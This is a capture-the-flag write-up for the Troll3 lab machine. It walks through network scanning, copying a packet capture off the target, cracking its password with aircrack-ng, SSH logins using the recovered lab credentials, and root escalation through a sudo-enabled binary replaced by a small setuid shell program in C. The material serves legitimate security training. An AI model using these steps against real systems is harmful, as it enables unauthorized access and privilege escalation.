Writeup for Troll3 machine

Samdup July 9, 2020

0 35 4 minutes read

Overview:

Pumpkin Raising Machine IP Address: 192.168.56.26
My Machine IP Address: 192.168.56.1

Mission:

To gain access to root and read the flag file Flag.txt.

To know the IP address of the Target Machine:

sudo arp-scan --interface=vboxnet0 192.168.56.1/24

Scanning the Network

nmap -sC -sV -p- 192.168.56.26 -o nmap.log

sC default nmap script
sV reveal what services are running on the target machine with respective version numbers
-p- it means scan all the ports (65535)
-o ouput save to nmap.log

When I look at the vm, I can see that there is start:here. I tried ssh with start as username and here as the password

Since the user “start” not a sudo user therefore, I was not able to know what sudo command it could run.

However, there were two folders.

bluepill
- awesome_work
redpill
- this_will_surely_work

Both awesome_work and this_will_surely_work are ASCII text file.

bluepill has a shorten link, I am afraid it might automatically do some drive-by attack at hind, so let’s do a virustotal scan.

Virustotal report didn’t show any threat. (nevertheless, some good cryptor could bypass such scan and let’s not discuss it here)

Now, let’s unshorten the link. There are many free services available online and you can choose based on your preference.

Ok, it’s just a rabbit hole.

cat redpill/this_will_surely_work

Another rabbit hole : (

Let’s enumerate the target machine, whether it has only binary or file which has enabled SUID or SGID.

find / -perm 0777 -type f 2>/dev/null

Since, I am using uBuntu Desktop, I need to install openssh-server package to receive binaries from the target machine.

sudo apt install openssh-server -y

sudo systemctl start ssh

scp /var/log/.dist-manage/wytshadow.cap researcher@192.168.56.1:/home/researcher/vulhub/Troll3/2

Narration: I am trying to transfer wytshadow.pcap file from the victim machine to my local machine at /home/researcher/vulhub/Troll3/2

Transfer the gold_star.txt (looks like it is list of password dictionary)

We can analyze the wytshadow.cap with Wireshark (GUI) software. However, we will try to analyze it with tcpdump (Terminal) software.

tcpdump pending

By the look of it, I am going to guess wytshadow as username and password are in the .cap file.

We can crack the password using aircrack-ng package with password dictionary list which we got from the victim machine – gold_star.txt .

aircrack-ng -w gold_star.txt wytshadow.cap

gaUoCe34t1

ssh wytshadow@192.168.56.26

password: gaUoCe34t1

./oohfun

control+c to stop the execution

I checked crontab and no entry was there.

let’s figure out whether any sudo enabled binary is there.

password: gaUoCe34t1

Yes, we got something

Let’s checkout nginx configuration file, enumerate on which port it is listening. You might think why I am all of sudden taking interest in the config file. It’s because sudo is enabled on nginx. Therefore, I am trying to find some information which could be leveraged.

cat /etc/nginx/sites-enabled/default

You can see that there is a service Lynx is going to run on port 8080, if nginx runs.

Let’s verify whether is there any process running with port 8080.

netstat -ntap

Actually, this is a redundant task because we know that from the nmap.log result, we can conclude that no service is running on port 8080.

Anyway, let’s start the nginx service and, I need to google and get to know little bit about Lynx service

/usr/sbin/service nginx start

now, Lynx is listening at port 8080.

I understood now the usage of Lynx. It is more like a browser for the command line. You can read more from here.

For our purpose, what we can do is

lynx http://192.168.56.26:8080

genphlux:HF9nd0cR!

ssh genphlux@192.168.56.26

password: HF9nd0cR!

cat maleus

copied the content of the maleus to key

chmod 400 key

In my opinion, there might be username maleus and ssh key is the above key. Shall we try that ?

ssh maleus@192.168.56.26 -i key

indeed, it did work!

ls

dont_even_bother

file dont_even_bother

We understood it is an ELF 64-bit LSB executable.

Let’s execute it. (This approach is risk and provided you are a malware analyst, don’t execute anything on your host machine but virtual machine).

./dont_even_bother

It is expecting a password and I did try things which I could think of. No luck 🙁

Let me run a strings command

strings dont_even_bother | less

We got something interesting
screenshot
xl8Fpx%6

just a rabbit hole

cat /etc/os-release

VERSION="18.04.2 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.2 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

I am a little desperate here because I was not able to find anything useful. I checked the kernel version, OS release, crontab entries, history, etc..

When I tried
cat .viminfo | less
guess what I got ?

password: B^slc8I$ (I am not sure the use of it).

Shall we try sudo -i ?

No, it is not the password: B^slc8I$ (let’s keep with us a little while)

I tried sudo -l
password: B^slc8I$

Yeh! Finally…

We can use an exploit to escalate the privilege to root user.. because dont_even_bother is running with root privilege..

vi dont_even_bother

#include
#include
#include<sys/types.h>

int main()
{
setuid(geteuid());
system("/bin/bash");
return 0;
}

:wq! (To get out from vim – for new users)
source code credit

To compile it

gcc dont_even_bother.c -o dont_even_bother

some gibberish error may come, don’t worry about those..

Let’s execute our code

sudo ./dont_even_bother

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Samdup

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